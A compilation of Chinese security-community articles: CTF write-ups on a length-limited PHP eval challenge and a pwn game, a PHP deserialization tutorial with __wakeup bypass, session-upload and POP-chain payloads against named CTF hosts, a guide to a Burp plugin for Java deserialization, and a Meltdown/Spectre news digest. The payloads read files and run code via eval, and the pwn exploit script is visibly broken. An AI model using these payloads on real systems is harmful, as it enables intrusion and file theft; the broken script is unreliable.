拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。 | 社区文章 |
# CTF题目思考--极限利用
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
朋友丢过来一个题目，说是极限利用，在兴趣的驱使下，看了下这个题目，发现还挺有意思的，这里简单分析分享一下
## 代码
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>
## 分析
根据代码，我们要满足两个条件：
1. 长度不能大于40
2. 不能包含大小写字母，数字
## 思路一 ————误入歧途
首先根据提示，说的是要执行`getFlag`函数，来拿flag，然后开始构造。
第一个想到的是ph的[博客](https://www.leavesongs.com/penetration/webshell-without-alphanum.html)中曾经提到的不使用字母和数字的webshell：
其中有三种方式：
1. 两个字符串执行异或操作以后，得到的还是一个字符串
2. 位运算里的“取反”，可以使用中文得到所有字符
3. 我们只要能拿到一个变量，其值为a，通过自增操作即可获得a-z中所有字符
根据这个思路，我们选择了一个最短的方式来构造：
function u($x){
return urldecode($x);
}
$_=(u('%07')^'`').(u('%05')^'`').(u('%14')^'`').(u('%1B')^']').(u('%0C')^'`').(u('%01')^'`').(u('%07')^'`');
var_dump($_);
//$_();
得到的结果是
string(7) "getFlag"
也就完成了我们的目标，但是当计算了长度以后，发现差不多每一个字符都要用10个左右的长度来构造，这肯定是不行的。所以我们转变了思路。
## 思路二 ———— 突破束缚
为什么我们一定要执行那个函数呢？
> 想起了老师在课堂上说过，Linux下的一切都是文件，那不如去构造一个读文件，或者命令执行来读flag呢
想到这里，逐渐明确了思路，于是开始一点一点构造payload
## 怎么取回结果呢？
要想得到读文件或者命令执行的内容，我们需要一个用来输出的东西，但是我们又没有常规的函数，经过了一段时间的思考，想到了`<?=$_?>`，这个方式。
大家可能在刚开始学开发的时候，做模板渲染，用过这个方法，但是说真的不是很容易想起来，而且关键的是这个方式默认是开着的。
## 怎么执行命令？
既然输出方式有了，那也得有能执行命令或者读文件的地方呀，于是想到了在php题目中经常出现的执行命令的方式`echo `ls`；`。
这样执行命令的方法有了，进行下一步，找flag
## 没有数字字母怎么找到flag呢?
这里也是很有技巧的点，在Linux系统中，是支持正则的，某些你忘记某个字符情况下，你可以使用`? *
%`等字符来替代，当然这里想要执行命令，需要极限的利用这个方法，经过测试：
/???/??? => /bin/cat
我们找到了这个关键的正则，我们先来读一下源码
$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?>
"/bin/cat /var/www/html/index.php"
但是发现超出长度了，然后我们继续缩短长度，想到了用`*`来匹配文件夹下的所有文件：
$_=`/???/???%20/???/???/????/*`;?><?=$_?>
这样我们就读到了源码。
## 获取flag
我们得到了flag.php的源码是：
<?php
$FLAG = file_get_contents("/flag");
function getFlag(){
global $FLAG;
echo $FLAG;
}
然后我们直接去读flag文件即可：
$_=`/???/???%20/????`;?><?=$_?>
## 总结
这个题目出的很有意思，要想做出这个题目，需要很多的技巧和经验，也属于极限利用的一种形式，当然如果有大佬有好的解决思路，也可以评论交流。 | 社区文章 |
## 0x00 PHP序列化是什么
### 两个函数
serialize() //将一个对象转换成一个字符串
unserialize() //将字符串还原成一个对象
通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
### 示例
#### 序列化
<?php
class test
{
private $flag = "flag{233}";
public $a = "aaa";
static $b = "bbb";
}
$test = new test;
$data = serialize($test);
echo $data;
?>
反序列化可以控制类属性，无论是private还是public
O:4:"test":2:{s:10:"testflag";s:9:"flag{233}";s:1:"a";s:3:"aaa";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
这里说明一下序列化字符串的含义：
`O:4:"test"`指Object(对象) 4个字符:test
`:2`对象属性个数为2
{}中为属性字符数：属性值
**注意：** 可以看到testflag的长度为8，序列化中却显示长度为10。这是因为它是private属性，翻阅文档就可以看到说明，它会在两侧加入空字节。
所以在传入序列化字符串进行反序列化时需要注意补齐两个空字节。
#### 反序列化
<?php
$str = 'O%3A4%3A%22test%22%3A2%3A%7Bs%3A10%3A%22%00test%00flag%22%3Bs%3A9%3A%22flag%7B233%7D%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22aaa%22%3B%7D';
$data = urldecode($str);
$obj = unserialize($data);
var_dump($obj);
?>
## 0x01 魔术方法
在利用对PHP反序列化进行利用时，经常需要通过反序列化中的魔术方法，检查方法里有无敏感操作来进行利用。
### 常见方法
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
### 比较重要的方法
#### __sleep()
> serialize() 函数会检查类中是否存在一个魔术方法
> __sleep()。如果存在，该方法会先被调用，然后才执行序列化操作。此功能可以用于清理对象，并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容，则
> NULL 被序列化，并产生一个 E_NOTICE 级别的错误。
对象被序列化之前触发，返回需要被序列化存储的成员属性，删除不必要的属性。
#### __wakeup()
> unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在，则会先调用 __wakeup 方法，预先准备对象需要的资源。
预先准备对象资源，返回void，常用于反序列化操作中重新建立数据库连接或执行其他初始化操作。
实例：
<?php
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
public function getInfo(){
echo $this->info . '<br>';
}
/**
* serialize前调用 用于删选需要被序列化存储的成员变量
* @return array [description]
*/
public function __sleep(){
echo __METHOD__ . '<br>';
return ['ID', 'sex', 'age'];
}
/**
* unserialize前调用 用于预先准备对象资源
*/
public function __wakeup(){
echo __METHOD__ . '<br>';
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
}
$me = new Caiji('twosmi1e', 20, 'male');
$me->getInfo();
//存在__sleep(函数，$info属性不会被存储
$temp = serialize($me);
echo $temp . '<br>';
$me = unserialize($temp);
//__wakeup()组装的$info
$me->getInfo();
?>
运行结果：
#### __toString()
> __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串，否则将发出一条
> E_RECOVERABLE_ERROR 级别的致命错误。
<?php
class Caiji{
public function __construct($ID, $sex, $age){
$this->ID = $ID;
$this->sex = $sex;
$this->age = $age;
$this->info = sprintf("ID: %s, age: %d, sex: %s", $this->ID, $this->sex, $this->age);
}
public function __toString(){
return $this->info;
}
}
$me = new Caiji('twosmi1e', 20, 'male');
echo '__toString:' . $me . '<br>';
?>
运行结果：
### 热身题
这是D0g3平台一道很简单的反序列化的题，GET读str内容进行反序列化等于$KEY就get flag了
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
echo "$flag";
}
show_source(__FILE__);
payload:`http://120.79.33.253:9001/?str=s:7:%22D0g3!!!%22`
## 0x02 反序列化对象注入
### 绕过__wakeup()方法
<?php
class SoFun{
protected $file='index.php';
function __destruct(){
if(!empty($this->file)) {
if(strchr($this-> file,"\\")===false && strchr($this->file, '/')===false)
show_source(dirname (__FILE__).'/'.$this ->file);
else
die('Wrong filename.');
}
}
function __wakeup(){
$this-> file='index.php';
}
public function __toString()
return '' ;
}
}
if (!isset($_GET['file'])){
show_source('index.php');
}
else{
$file=base64_decode($_GET['file']);
echo unserialize($file);
}
?> #<!--key in flag.php-->
分析一下源码，`__destruct`方法中`show_source(dirname (__FILE__).'/'.$this
->file);`会读取file文件内容，我们需要利用这里来读flag.php，思路大概就是构造序列化对象然后base64编码传入，经过unserialize将file设为flag.php，但是`__wakeup`会在unserialize之前执行，所以要绕过这一点。
这里就要用到CVE-2016-7124漏洞， **当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行**
构造序列化对象：O:5:"SoFun": **1** :{S:7:"\00*\00file";s:8:"flag.php";}
**绕过__wakeup** ：O:5:"SoFun": **2** :{S:7:"\00*\00file";s:8:"flag.php";}
注意：因为file是protect属性，所以需要加上\00*\00。再base64编码。
payload：Tzo1OiJTb0Z1biI6Mjp7Uzo3OiJcMDAqXDAwZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
这里可以自己写一个相对简单的例子来加以理解
<?php
error_reporting(0);
class Twosmil1e{
public $key = 'twosmi1e';
function __destruct(){
if(!empty($this->key)){
if($this->key == 'twosmi1e')
echo 'success';
}
}
function __wakeup(){
$this->key = 'you failed 23333';
echo $this->key;
}
public function __toString(){
return '';
}
}
if(!isset($_GET['answer'])){
show_source('serializetest.php');
}else{
$answer = $_GET['answer'];
echo $answer;
echo '<br>';
echo unserialize($answer);
}
?>
我们首先构造序列化正常序列化对象：`O:9:"Twosmil1e":1:{s:3:"key";s:8:"twosmi1e";}`
发现`__wakeup()`会先执行，`__destruct()`中的判断不成立，无法输出success，尝试将对象属性个数1改为任意大于1的数，即可绕过`__wakeup()`
## 0x03 session反序列化漏洞
### 简介
首先我们需要了解session反序列化是什么？
PHP在session存储和读取时,都会有一个序列化和反序列化的过程，PHP内置了多种处理器用于存取 $_SESSION
数据，都会对数据进行序列化和反序列化
在php.ini中有以下配置项，wamp的默认配置如图
`session.save_path` 设置session的存储路径
`session.save_handler` 设定用户自定义存储函数
`session.auto_start` 指定会话模块是否在请求开始时启动一个会话
`session.serialize_handler` 定义用来序列化/反序列化的处理器名字。默认使用php
除了默认的session序列化引擎php外，还有几种引擎，不同引擎存储方式不同
* php_binary 键名的长度对应的ASCII字符＋键名＋经过serialize() 函数反序列处理的值
* php 键名＋竖线＋经过serialize()函数反序列处理的值
* php_serialize serialize()函数反序列处理数组方式
### 存储机制
php中的session内容是以 **文件**
方式来存储的，由`session.save_handler`来决定。文件名由`sess_sessionid`命名，文件内容则为session序列化后的值。
来测试一个demo
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['name'] = 'twosmi1e';
?>
运行后在配置文件设定的路径中会生成一个session文件
存储引擎为php时
存储引擎为php_binary时结果为
三种处理器的存储格式差异，就会造成在session序列化和反序列化处理器设置不当时的安全隐患。
### 如何利用
直接上例子吧
#### Jarvisoj Web
> 题目地址：<http://web.jarvisoj.com:32784/index.php>
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('sessiontest.php'));
}
?>
先来看一看phpinfo里的内容 php版本：5.6.21
**php大于5.5.4的版本中默认使用php_serialize规则**
默认为php_serialize而index.php中又使用了php，反序列化和序列化使用的处理器不同，由于格式的原因会导致数据无法正确反序列化，那么就可以通过构造伪造任意数据。
> PHP手册
> Session 上传进度
> 当 session.upload_progress.enabled INI 选项开启时，PHP 能够在每一个文件上传时监测上传进度。
> 这个信息对上传请求自身并没有什么帮助，但在文件上传时应用可以发送一个POST请求到终端（例如通过XHR）来检查这个状态
>
> 当一个上传在处理中，同时POST一个与INI中设置的session.upload_progress.name同名变量时，上传进度可以在\$_SESSION中获得。
> 当PHP检测到这种POST请求时，它会在$_SESSION中添加一组数据, 索引是 session.upload_progress.prefix 与
> session.upload_progress.name连接在一起的值。
了解了之后，就可以通过POST方法来构造数据传入`$_SESSION`
构造POST提交表单
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
构造序列化字符串
<?php
class OowoO
{
public $mdzz='print_r(dirname(__FILE__));';
}
$obj = new OowoO();
$a = serialize($obj);
var_dump($a);
注意需要转义，抓包吧filename改为payload
最终提交为：`|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:27:\"print_r(dirname(__FILE__));\";}`
目录/opt/lampp/htdocs
`|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}`继续读
然后用`file_get_contents`函数读flag
`|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:88:\"print_r(file_get_contents(\"/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php\"));\";}`
#### 安洵杯Double-S
也是类似的一道session反序列化的题
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class Anti
{
public $info;
function __construct()
{
$this->info = 'phpinfo();';
}
function __destruct()
{
eval($this->info);
}
}
if(isset($_GET['aa']))
{
if(unserialize($_GET['aa'])=='phpinfo')
{
$m = new Anti();
}
}
else
{
header("location:index.html");
}
?>
emmmm 几乎一样 可以自己试着做一下
`http://54.200.169.99:7000/session.php?aa=O:4:"Anti":1:{s:4:"info";s:36:"print_r(scandir(dirname(__FILE__)));";}`
发现flag文件<http://54.200.169.99:7000/f1ag_i3_h3re>
D0g3{Sim_Pl3_S3sSi0n}
## 0x04 POP链构造
### POP：面向属性编程
面向属性编程（Property-Oriented Programing） 用于上层语言构造特定调用链的方法，与二进制利用中的面向返回编程（Return-Oriented
Programing）的原理相似，都是从现有运行环境中寻找一系列的代码或者指令调用，然后根据需求构成一组连续的调用链。在控制代码或者程序的执行流程后就能够使用这一组调用链来执行一些操作。
### 基本概念
在二进制利用时，ROP 链构造中是寻找当前系统环境中或者内存环境里已经存在的、具有固定地址且带有返回操作的指令集，而 POP
链的构造则是寻找程序当前环境中已经定义了或者能够动态加载的对象中的属性（函数方法），将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。
二进制中通常是由于内存溢出控制了指令执行流程，而反序列化过程就是控制代码执行流程的方法之一，前提： **进行反序列化的数据能够被用户输入所控制。**
### POP链利用
一般的序列化攻击都在PHP魔术方法中出现可利用的漏洞，因为自动调用触发漏洞，但如果关键代码没在魔术方法中，而是在一个类的普通方法中。这时候就可以通过构造POP链寻找相同的函数名将类的属性和敏感函数的属性联系起来。
### 实战训练
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$a = $_GET['string'];
unserialize($a);
?>
可以看到需要执行GetFlag类中的get_flag()函数，这是一个类的普通方法。要让这个方法执行，需要构造一个POP链。
1. `string1`中的`__tostring`存在`$this->str1->get_flag()`，分析一下要自动调用`__tostring()`需要把类`string1`当成字符串来使用，因为调用的是参数`str1`的方法，所以需要把`str1`赋值为类`GetFlag`的对象。
2. 发现类`func`中存在`__invoke`方法执行了字符串拼接，需要把`func`当成函数使用自动调用`__invoke`然后把`$mod1`赋值为`string1`的对象与`$mod2`拼接。
3. 在`funct`中找到了函数调用，需要把`mod1`赋值为`func`类的对象，又因为函数调用在`__call`方法中，且参数为`$test2`,即无法调用`test2`方法时自动调用 `__call`方法；
4. 在`Call`中的`test1`方法中存在`$this->mod1->test2();`，需要把`$mod1`赋值为`funct`的对象，让`__call`自动调用。
5. 查找`test1`方法的调用点，在`start_gg`中发现`$this->mod1->test1();`，把`$mod1`赋值为`start_gg`类的对象，等待`__destruct()`自动调用。
payload：
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new Call();//把$mod1赋值为Call类对象
}
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1 = new funct();//把 $mod1赋值为funct类对象
}
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new func();//把 $mod1赋值为func类对象
}
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __construct()
{
$this->mod1= new string1();//把 $mod1赋值为string1类对象
}
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public function __construct()
{
$this->str1= new GetFlag();//把 $str1赋值为GetFlag类对象
}
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo "flag:"."xxxxxxxxxxxx";
}
}
$b = new start_gg;//构造start_gg类对象$b
echo urlencode(serialize($b))."<br />";//显示输出url编码后的序列化对象
输出payload后传参，成功执行get_flag()
另外推荐一下柠檬师傅博客的那道题
> <http://www.cnblogs.com/iamstudy/articles/php_unserialize_pop_2.html>
> <https://cl0und.github.io/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/>
## 0x05 小结
反序列化漏洞一般都是在白盒审计时发现并利用，需要构造PHP序列化代码，利用条件比较苛刻。
总结一下PHP反序列化的挖掘思路，首先进行反序列化的数据点是用户可控的，然后反序列化类中需要有魔术方法，魔术方法中存在敏感操作，或者魔术方法中无敏感操作，但是其对象调用了其他类中的同名函数，可以通过构造POP链利用。
另外再贴一些相关文章，希望对大家有所帮助
> <https://xz.aliyun.com/t/3336>
> <https://xz.aliyun.com/t/2733>
> <https://www.anquanke.com/post/id/162300> | 社区文章 |
## **介绍**
Java反序列化的漏洞的发现和披露，在一月前由Gabriel Lawrence和Chris Frohoff
发现了这些严重漏洞，java序列化序列化的对象（见Gabriel Lawrence和Chris
Frohoff）中的潜在缺陷，受影响的可能会在各种框架和库的中。然而有许多方法可用于防止被利用。
原来披露的漏洞并未引起太多关注。直到2016年11月，Stephen Breen安全研究员 发现实际在生产 java服务器上可以被利用。
在这篇文章中，我们将不关注如何序列化漏洞的工作，以及如何修复它们，因为已经有很多关于这个主题的文章。相反，今天我们将专注于如何可靠地检测和利用这些漏洞。对于这个漏洞，我们需要知道的是：该漏洞取决于java序列化后序列化的对象。默认的java类负责反序列化
将序列化对象做反序列化，java类试图把对象进行反序列化。故接收到的对象为反序列化操作，即使他们不是预期的类中实例化的；在这种情况下，在反序列化异常出现时，试图把对象实例化。java语言提供了可能，添加自定义类，执行在反序列化操作。
因此，能够实现远程命令执行（RCE）就是要找到一个“链”的对象，一旦反序列化，允许攻击者执行任意的java代码。显然，所选择的对象的类必须在目标系统中被序列化。出于这个原因，通常需要一些“脆弱”的系统利用这个问题。这些库将用于开发的对象，但本身的脆弱性在于java反序列化的对象，而不是用于开发的系统。只移除“脆弱”的库并不完全保护这个问题，因为新的链可以被发现，漏洞可能会触发。
一旦反序列化问题被发现了，ysoserial
工具可用于开发payload。此工具生成自定义开发载体，基于“脆弱”的目标系统中加载的库。在这篇文章中我们将分析如何发现和利用java序列化的漏洞利用Burp
Suite插件，我们开发了基于 ysoserial：java序列化扫描器：Java Deserialization Scanner.
## **安装**
java序列化扫描插件有两种安装方法：
1.直接下载在 Extdener-》Bapp Store
，这是最简单的方法来获得插件，但下载的版本可能不是最新的。目前，例如，最新的版本（0.5预发行版）只能从GitHub（见下一个方法）。当发布的版本将发布，我们将提交给BAPP店。
2.从GitHub下载最新发布和手动从Burp Suite扩展标签安装JAR Extdener-》Extdeners-》Add
## **检测**
对反序列化的漏洞检测并不是一个简单的任务。通过产生的 ysoserial
将其发送到目标应用程序的payload，通常我们可以获得一个java堆栈跟踪（如果幸运的话我们可以发现问题，存在的只是一个脆弱的系统有针对性的）或没有详细的输出
因此，为了可靠地检测漏洞的存在，我们修改 ysoserial 生成java本地sleep
有效载荷代替RCE的有效载荷和我们说这些有效载荷的java反序列化扫描器。这个任务需要使用java本地sleep有效载荷，因为java调用是同步的；执行系统所产生的ysoserial
sleep 使用默认的RCE的有效载荷将是无用的，因为他们是异步的，我们将 sleep 命令结束前从服务器得到响应，无论是否存在这个问题。
在插件的最新版本中，我们增加了两个新的方法来进一步提高检测：一个基于DNS和一个CPU。
为了生成java执行本地DNS解析的有效载荷，我们再次修改ysoserial。通常情况下，DNS解析请求是最有可能绕过企业防火墙，因此是一个相当好的检测方法。在一般情况下，定时方法是更可靠和更可取的，但DNS方法可以适合用于
不稳定的系统或高度延迟的网络。感谢Burp Suite Collaborator，这是没有必要有一个DNS插件，一切都可以在Burp Suite工具完成。
CPU检测方法是基于Wouter Coekaerts”serialdos工作：没有任何脆弱的系统检测反序列化问题。有效载荷是基于一个系统对象（java
util。HashSet），采用多CPU周期为反序列化任务。SerialDOS是创建一个POC的拒绝服务（DOS）攻击，但通过降低CPU周期需要反序列化它也可以用来作为一种检测方法。这个有效载荷是检测如果应用程序终结点实际上执行java反序列化，如果严格执行白名单的方法很有用。如果检查出阳性结果也有目标应用实施白名单的方式，允许HashSet类java.util包的可能性。在这种情况下，应用程序仍然容易受到DoS攻击（使用serialdos
所有载荷）。
现在，让我们演示如何使用我们的插件进行检测。检测集成在Burp
Suite的主动和被动的扫描器。默认情况下，CPU和DNS检查添加到扫描器中，但他们可以禁用插件的配置面板，在部分“自动扫描配置”：
Deserialization Scanner.-》Automatic scanner configurations
为了减少扫描器执行的请求数量，只有在原始请求中存在序列化对象时，才由插件添加的检查执行。有效载荷是相同的编码在原始请求发现编码（例如，如果序列化对象的编码是Base64，利用载体将编码为base64等）。当前支持的编码格式是：
* Raw
* BASE64
* ASCII HEX
* GZIP
* BASE64 GZIP
在主动扫描检查时也就是默认不使用CPU检测方法，因为它必须谨慎使用：发送数量巨大的 serialdos
载荷可能仍然在旧的或高负载的系统造成的问题。为了执行检查自定义插入点或使用CPU负载，该插件提供了“Manual
Testing”（“手动测试”）选项卡，用户可以在其中选择插入点（目前在同一时间只有一个支持），选择查询类型（DNS，sleep，或CPU），选择优先编码和测试参数。通过选择sleep或DNS检查，插件测试所有支持的脆弱的库，而与CPU检查插件将使用一个库独立的CPU有效载荷。默认情况下，检测到的问题会自动添加到主机的所有问题，但这种行为可以在“配置”选项卡禁用。在同一选项卡中，可以启用详细模式，以便检查结果窗格中的请求及其响应。
测试要求可以手动插入手动测试”或可以从其他Burp Suite标签发送使用打开的鼠标右键菜单：
手动测试工具的配置说明如下图片：
## **开发**
“Exploiting”选项卡提供了一个舒适的界面开发反序列化的漏洞。这个标签使用ysoserial工具生成开发载体，包括产生一个HTTP请求负载。ysoserial作为论据脆弱的图书馆和一个命令，生成一个序列化的对象以二进制形式，可以被发送到在目标系统上执行命令的易受攻击的应用程序（如果目标应用程序是脆弱的）。开发选项卡支持与插件的检测部分相同的编码格式。
现在，让我们演示如何使用我们的插件开发。首先，我们需要打开“Configuration”选项卡并插入路径，我们有一份的ysoserial工具（ysoserial仅需要开发；检测的有效载荷已经包含在插件）：
然后，我们看到了手工测试，它可以插入要求手动或把它从其他Burp
Suite标签使用打开的鼠标右键菜单。然后用户可以选择插入点（目前在同一时间只有一个支持），将ysoserial命令（ysoserial手册
<https://github.com/frohoff/ysoserial），点击“Attack”按钮，根据所需的编码。“Exploiting”工具的配置在下面的图片中解释：>
插件提供的界面使开发过程更快更舒适。
这就是全部！该插件的最后一个版本（目前0.5预发行版）可以从GitHub发布页下载。如果您发现任何错误，或者如果你有想法改进请打开GitHub上的一个新问题。
<https://github.com/federicodotta/Java-Deserialization-Scanner/releases>
相关链接：
1. <https://github.com/federicodotta/Java-Deserialization-Scanner/releases>
2. <https://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles>
3. <https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/>
4. <https://github.com/frohoff/ysoserial>
5. <https://portswigger.net/>
6. <https://gist.github.com/coekie/a27cc406fc9f3dc7a70d>
referer ：<https://techblog.mediaservice.net/2017/05/reliable-discovery-and-exploitation-of-java-deserialization-vulnerabilities/> | 社区文章 |
# LCTF2018-pwn4fun-详细解析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## LCTF-pwn4fun-详细解析
LCTF真的有一点劝退的意思。。。膜一波出题人，当时自己没有做出来，和大佬交流了一下思路之后会了。感觉题目是很新奇的，因为有点像是现实环境中逻辑漏洞利用。
## 程序分析
题目的代码很多这里列出一些主要的
### 运行图
### main
我这里标出了一些函数的大概名字，这里说一些简单的函数首先admin是把字符串admin先放在一个地址里，然后接下来name函数就是输入自己的名字，就如上面运行图片展示的，然后开始游戏
### dont_know
这个函数刚开始标为dont_know是因为我开始看的时候并不知道是什么意思。。然后就继续看了下面，现在我们来看看这个函数,首先我这里将一个变量命名为了file_neme因为我发现它把值赋给了file，然后后面有一个openfile的操作，感觉这里有些不对劲，可能可以有些打开flag文件的操作，因为有一个congratulate的字符串在这里，但是这里并没有被怎么调用
### 输入比较函数
这里会有一个比较让我们输入不能等于admin
### menu
这里有4个操作数，首先是do something，然后是do something again，然后是do something else，然后是do
nothing，这里do nothing会执行一个退出的操作.接下里具体讲讲其他选项
### choose 1 & do something
可以发现它对一个byte类型数进行了一个赋值，这里原来是一个数字，但是我发现这个是在可见字符的范围里所以我直接r了一下，进行了一个转换。看看这个地方并没有什么bug额。
### choose 2 & do something again
这里和第一个操作时差不多的，所以就不多解释了，也是对那个位置进行一个赋值，先记住这个字符串以为之后可能会用到。接下里的3就不进行分析了，是差不多的函数，无非就是blood不相同
### 最后一个函数
这里有一个很明显的格式化字符串漏洞，但是我怎么也做不到成功的赢，在上面blood循环之中，这个游戏类似于卡牌游戏一样，可以进攻然后可以放弃此轮回合，也可以吃了对方的牌，当然对于题目本身来说肯定是会有丢弃卡牌的环节，这里就是一个可以利用的地方了
### 溢出点在丢牌处
这里在第二次丢牌的时候没有检查下表所以可以直接进行一个数组越界的覆盖
## 动态调试
这里可以发现是一个假的flag。。。太服气了这一点了，所以我们还是要继续寻找。继续寻找的过程中可以发现在丢牌的时候有一个下表溢出会让我们可以覆盖到flag那个地方，这也就用到了
这个地方可以进行一个下表越界-5对4进行一个a覆盖
### 思路分析
进入第二个选项的丢牌然后让下标进行一个溢出，溢出-5，进行一个flag的布置然后就可以读取flag了，当让这里的admin需要加上‘’将9个字符串填满
### EXP
from pwn import *
p=process('sgs.dms')
def get(x):
p.recvuntil(str(x))
def put(x):
p.sendline(str(x))
p=remote('212.64.75.161', 2333)
get(name)
put('n')
get(?)
put(U)
get(name)
put(Hadreys)
p.sendline('2')
#这里就开始自己手打游戏了，首先进入第二次弃牌阶段然后，然后输入-5使的file_name被我们覆盖，这里要
#进行6次成功覆盖后，就可以执行下面的脚本按ctrl + c就可以了。
p.interactive()
put('admin'.ljust(9.'')) #远程端可以通。。本地不太行额
p.interactive()
ps:这里请教了一下lm0963，膜一波，一个人拿了两个pwn-fd
## 总结
这几次的比赛在pwn上会有很多的新题，其中最大的感受就是对pwn手的逆向要求更高的了，就比如湖湘杯的pwn1，代码量也很大，而还有这个lctf的这道题目需要先知道程序的功能才能pwn。还有之前出现过的vmpwn。。。 | 社区文章 |
# 1月5日安全热点–Intel CEO卖股票/Intel承诺下周末CPU固件更新
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
对于昨天Google的Project Zero发布的关于现代CPU的speculative execution漏洞的缓解措施
<https://security.googleblog.com/2018/01/more-details-about-mitigations-for-cpu_4.html>
Google发布防御Spectre攻击的缓解措施：Retpoline
<https://support.google.com/faqs/answer/7625886>
Intel CEO Brian
Krzanich在去年11月卖掉其在公司价值2400万美元的股票和期权，而这个时间恰好在Google告知其处理器严重的安全漏洞之后，而在此漏洞本周公开披露之前。
<http://www.businessinsider.com/intel-ceo-krzanich-sold-shares-after-company-was-informed-of-chip-flaw-2018-1>
<http://thehill.com/policy/technology/367432-intel-ceo-sold-24-million-in-stock-while-firm-knew-about-cyber>
Intel承诺下周末发布CPU固件更新
（Intel说已经开始给合作伙伴发布一些CPU的固件升级，各委托制造商以及其他硬件厂商需要将这些固件更新加入到自己产品的更新中；Intel承诺会缓解性能上的影响；但是补丁会很复杂，因为修复这两个漏洞需CPU固件的升级，操作系统层的补丁，以及要应用层面的缓解措施。）
<https://www.bleepingcomputer.com/news/hardware/intel-promises-firmware-updates-for-most-modern-cpus-by-the-end-of-next-week/>
苹果发布公告称所有Mac系统和iOS设备都受Meltdown/Spectre漏洞影响，但目前还未发现针对用户的漏洞利用出现
（“由于利用这些漏洞中的需要在您的Mac或iOS设备上加载恶意app，因此我们建议您仅从可信来源（如App Store）下载软件。 苹果已经在iOS
11.2，macOS 10.13.2和tvOS 11.2上发布了缓解措施，以帮助防御Meltdown漏洞。 Apple
Watch不会受到Meltdown的影响。 在接下来的日子里，我们计划在Safari中发布缓解措施，以帮助防御Spectre。
我们将继续开发和测试这些问题的进一步缓解措施，并将在即将到来的iOS，macOS，tvOS和watchOS更新中发布。”）
<https://support.apple.com/en-us/HT208394>
[Apple says Meltdown and Spectre flaws affect ‘all Mac systems and iOS
devices,’ but not for long](https://techcrunch.com/2018/01/04/apple-says-meltdown-and-spectre-flaws-affect-all-mac-systems-and-ios-devices-but-not-for-long/)
YouTube移除掉了关于Meltdown/Spectre PoC的视频
